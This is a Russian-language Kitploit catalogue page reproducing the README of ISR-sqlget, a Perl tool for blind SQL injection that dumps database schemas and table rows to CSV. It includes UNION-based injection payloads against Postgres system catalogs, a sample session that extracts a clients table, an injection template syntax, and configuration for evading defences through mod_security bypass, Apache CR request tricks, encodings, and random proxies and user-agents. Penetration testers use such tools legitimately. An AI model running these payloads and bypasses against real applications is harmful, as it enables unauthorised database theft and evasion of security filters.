Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
isr-sqlget — ISR-sqlget Это инструмент для слепой SQL-инъекции, разработанный на Perl. | Kitploit
Инструменты/GitHubGitHub/infobyte/isr-sqlget
Анализ уязвимостейЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность Баз Данных
GitHubinfobyte/isr-sqlget

isr-sqlget

ISR-sqlget Это инструмент для слепой SQL-инъекции, разработанный на Perl.

Репозиторий
141413 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |

..:: ОПИСАНИЕ

ISR-sqlget: Это инструмент для слепой SQL-инъекции, разработанный на Perl. Он позволяет получать схемы баз данных и строки таблиц. С помощью одного GET/POST запроса можно незаметно получить структуру базы данных, а с помощью одного GET/POST запроса — выгрузить каждую строку таблицы в CSV-подобный файл.

Поддерживаемые базы данных:

root@kitploit:~
- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)    
- SQLBase (http://www.unify.com)

Средства обхода:

root@kitploit:~
- Кодирование Unicode полной/половинной ширины
- Обход нестандартных CR в Apache
- Обход mod_security
- Случайное преобразование запроса в верхний регистр
- PHP Magicquotes: кодирование каждой строки с помощью функции CHR базы данных или аналогичной
- Преобразование запросов в шестнадцатеричные значения
- Избегание замены пробела на непробельные символы, такие как /**/ или табуляция (\t)
- Избегание конкатенации через || или + с помощью функции concat базы данных или аналогичной
- Случайный user-agent
- Случайный proxy-сервер
- Случайная задержка запроса

Общие возможности:

root@kitploit:~
- Чёрный список загрузки схемы базы данных
- Поддержка массива cookie
- Поддержка SSL
- Поддержка proxy-сервера
- Выгрузка информации о базе данных в формате csv

Отчётность:

root@kitploit:~
- Графическое представление структуры базы данных для создания впечатляющих отчётов для руководства
- Требуется библиотека Graphviz (http://www.graphviz.org/)

..:: ИСПОЛЬЗОВАНИЕ

Инструменту требуется следующая информация:

  • : Какое действие выполнить?
  • : Какой сеанс?

Возможные ДЕЙСТВИЯ:

root@kitploit:~
Сначала:
1. Получить схему базы данных.

Затем:
2.a Получить строки таблиц (формат csv).
2.b Получить графическую схему базы данных.

..:: Пример:

Цель: http://target.infobytesec.com/helloworld.php?id=

Исходный код helloworld.php:

"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>

Прочитайте пример сеанса (конфигурационный файл): ./helloworld.pm

Получить схему базы данных:

; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#

Это создаст локальный файл схемы в: ./template/helloworld.dbschema

Затем получить строки таблиц:

; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....

В каталоге "./datos/" для каждой таблицы вы получите два файла:

[sessionname].[database].[table].sql.html # исходный html [sessionname].[database].[table].csv # значения, разделённые запятыми

Обратите внимание, что "./datos" можно указать с помощью параметра $conf::outputdb в конфигурационном файле сеанса.

..:: Дополнительно

Инструмент использует только один тип столбца text/varchar/etc в SQL-запросе SELECT. С помощью выражений UNION вы можете получить «в этом столбце» всю схему базы данных, используя "[__]" в качестве разделителя.

Когда вы уже сохранили локальную схему базы данных, вы сможете:

1.a Получить строки таблиц: Используя ту же технику, вы можете получить все строки каждой таблицы в базе данных; столбцы с типами данных, несовместимыми с text, преобразуются в тип text с помощью собственных функций базы данных.

1.b Получить графическую схему базы данных.

Инструмент использует для каждого действия конфигурационный файл сеанса. Этот конфигурационный файл определяет необходимые параметры для эксплуатации SQL-инъекции. Параметр @conf::path задаёт способ разбора необработанного HTML для работы с инструментом.

Подробности справки:

Использование: ./ISR-sqlget.pl [ACTION] [OPTIONS]

Действие: -c: Проверить модуль разбора -t: Получить тестовую страницу -a: Получить имена всех баз данных (только mssql) -s: Получить структуру(ы) базы(баз) данных -d: Получить информацию о базе(ах) данных (формат csv) -g: Графическая структура базы данных (формат gif)

Опции: -n: Имя сеанса -p: (Используйте с действием -c, укажите исходную страницу для проверки модуля); По умолчанию ./template/$SESSION.testpage -v: Подробный вывод -h: Справка

-t: Используя файл сеанса, вы получаете короткую системную таблицу данных для использования с действием "-c" для последующего разбора необработанного HTML.

-c: По умолчанию используется ./template/[session-name].testpage. Он используется для разработки и тестирования разбора необработанного HTML. Вы можете выбрать другой HTML-файл с помощью опции "-p".

-a: Все СУБД используют следующий порядок для получения строк таблиц: 1. "-s" получить структуру (сохраняет схему базы данных в локальный файл). 2. "-d" получить данные таблиц.

root@kitploit:~
Из-за системных таблиц MSSQL необходимо добавить предварительный шаг:
1. "-a" Получить имена всех баз данных /schema/catalog (сохраняет имена в локальный файл).
2. "-s" получить структуру (сохраняет схему базы данных в локальный файл).
3. "-d" получить данные таблиц.

-s: получить структуру (сохраняет схему базы данных в локальный файл).
-d: получить данные таблиц.

-g: Используя ранее полученный локальный файл схемы базы данных, получить графическую схему базы данных (формат gif).

-n: Указывает имя конфигурационного файла сеанса.

..:: Примечания

./pmschanges.txt: Мы используем модифицированную версию LWP, Net::HTTP, которая включает методы и спецификации CRLs. В этом файле объясняются модификации.

./dbs/isr_*: Каждый модуль базы данных имеет переменную @space, которая определяет тип допустимого пробела. Пример: my @space=(' ',"\t","/**/"); #all spaces

..:: Параметры конфигурационного файла сеанса:

@conf::path #Параметр @conf::path задаёт способ разбора необработанного HTML для работы с инструментом. #It uses embedded perl code with HTML::TreeBuilder to parse the raw html #The first configuration is a tree array with the html tags names needed. The last html tag name is processed with the perl code.

См. примеры в ./examples/ example[n].html session[n].pm

$conf::site #Сайт, на котором находится уязвимое приложение

$conf::script #Уязвимый файл сценария

$conf::method #Метод 'POST', 'GET', 'HELLO', '\r\n\r\n\r\n\r\n\r\n' (обход метода Apache)

$conf::inj #POST/GET параметры с выражениями UNION #It uses variables that later will be replace with the dynamic information.

root@kitploit:~
Variables:
<VALUE> = Column used to get all the information.
<TABLE> = Tables section.
<WHERE> = Where section.
<TAIL>  = The last part of the sql sentence.

Example: "id=1') union select <VALUE>,'a' from <TABLE> <WHERE> <TAIL> --";

$conf::where #Если вам нужно добавить какое-либо исключение в UNION-таблицу, используйте этот #parameter because there are some database structure queries that have "WHERE" included

$conf::tail #Последняя часть SQL-предложения. $conf::param #Стиль параметра: Post style 1, Url style 0 Post style= ;root@isr-slackware:~/dev# telnet localhost 80 ;Trying 127.0.0.1... ;Connected to localhost. ;Escape character is '^]'. ;GET http://site/aaa.php HTTP/1.0 ;id=aaa

root@kitploit:~
Url style:
;root@isr-slackware:~/dev# telnet localhost 80
;Trying 127.0.0.1...
;Connected to localhost.
;Escape character is '^]'.
;GET http://site/aaa.php?id=aaa HTTP/1.0

$conf::dbtype #Тип СУБД

root@kitploit:~
1 - Oracle
2 - Microsoft SQL Server
3 - Mysql    
4 - Postgres
5 - IBM DB2
6 - Interbase/Yaffil/Firebird (Borland)    
7 - Mimer (www.mimer.com)    
8 - Virtuoso (virtuoso.openlinksw.com)
9 - Pervasive (www.pervasive.com)    
10 - Hsqldb (www.hsqldb.org)    
11 - SQLite    
12 - IBM Informix
13 - Sybase
14 - H2 (http://www.h2database.com)
15 - Mckoi (http://mckoi.com/database/)
16 - Ingres (http://www.ingres.com)
17 - MonetDB (http://www.monetdb.nl)
18 - MaxDB (www.mysql.com/products/maxdb/)
19 - ThinkSQL (http://www.thinksql.co.uk/)    
20 - SQLBase (http://www.unify.com)

$conf::session #Имя сеанса (нужно использовать то же имя, что и у конфигурационного файла сеанса, без расширения .pm) $conf::outputdb #Путь для выгруженных строк таблиц

######### proxy $conf::proxy_host #Пример поддержки proxy: 'http://user:pass@host:port/'; $conf::rproxy #Случайный proxy: 1 — включить, 0 — выключить $conf::rproxyfile #Файл со случайными proxy (используйте тот же формат, что и $conf::proxy_host)

######### filters $conf::space #Замена пробелов: 0 — использовать пробел, 1 — заменить пробел ' ' на табуляцию '\t' или #2 replace space ' ' with comment '/**/'

$conf::apache_espace #Вы можете указать значение CR в HTTP/s запросе

#Пример:

Допустимые CR в Apache (\x0b, \x0c, \x0d,)

$conf::apache_espace="\x0b,\x0c"; #начало=\x0b и конец=\x0c

Обрабатывает GET/POST/XXX HTTP-запрос как "GET\x0b/script.php\x0cHTTP/1.0"

$conf::apache_espace_rnd=1; #случайная комбинация CR 0x0b, 0x0c, 0x0d $conf::apache_espace_rmaxn=10; #Максимальное случайное количество символов #В этом примере мы рандомизируем CR (0x0b, 0x0c, 0x0d) от 1 до 10: #Ссылка: http://www.osvdb.org/25837

$conf::mod_security #1 — включить обход modsecurity <= 2.1.0 & (=>PHP 5.2.0||PERL||Python) #Ссылка: http://www.php-security.org/MOPB/BONUS-12-2007.html

$conf::full_width #1 — включить обход с помощью кодирования полной ширины $conf::ruseragent #1 — включить использование случайного user-agent $conf::ruseragentfile #Файл со списком user-agent $conf::uagent #User-agent по умолчанию $conf::delay #Задержка между соединениями $conf::rdelay #1 — включить случайную максимальную задержку между соединениями, используйте $conf:delay как максимальное значение. $conf::magicquotes #1 — включить обход magicquotes (использовать функцию CHR или аналогичную в каждой базе данных) $conf::convertall_hex #1 — преобразовать каждое значение параметра в шестнадцатеричный формат (%41,%61) $conf::rnd_uppercase #1 — включить случайное преобразование в верхний регистр.

######## filters only mssql $conf::scape_plas #1 — включить. Использовать функцию CONCAT, если скрипт не может принимать '+' #(used as string concatenation) $conf::convertall_str #1 — включить преобразование всех столбцов в строку (рекомендуется) $conf::scape_output_less #1 — включить. Если скрипт не может отправлять '|', используйте функцию базы данных для замены

######## filters only oracle/db2/virtuoso/h2/mckoi/ingres/monetdb/maxdb/thinksql $conf::scape_pipe #Используйте функцию CONCAT или аналогичную, если скрипт не может принимать '|' (используется для конкатенации строк)

Запрет получения хеша

$conf::deny_dbname #массив с именами баз данных, которые не нужно обрабатывать (чёрный список) Example value = {'WMSYS' => 1, 'SYS' => 1 };

#Cookie $conf::cookie #1 — включить работу с массивом cookie @conf::cookies #массив с cookie для использования Example value = ( { version=>undef, key=>'valu1', val=>'password', path=>'', domain=>'', port=>undef, path_spec=>undef, secure=>undef, maxage=>undef, discard=>undef, rest=>undef });

#Graphic options (Подробнее см. справку по Perl-модулю GraphViz) $conf::graphdir = './graph/'; #Каталог назначения для графических файлов $conf::glayout = 'dot'; $conf::grootcolor='crimson'; $conf::gdbcolor='darkgreen'; $conf::gtablecolor='olivedrab1'; $conf::gcolumncolor='lightblue2'; $conf::gcolumn=0; #0= не отображать столбцы, 1= отображать столбцы

..:: ТРЕБОВАНИЯ

1 - Perl-модули: LWP::UserAgent HTTP::Cookies; Convert::EastAsianWidth Data::Dump GraphViz

2 - Библиотеки Проект GraphViz (http://www.graphviz.org/)

..:: СКАЧАТЬ

http://www.infobytesec.com/development.html

..:: АВТОР Francisco Amato famato+at+infobytesec+dot+com

Скачать инструмент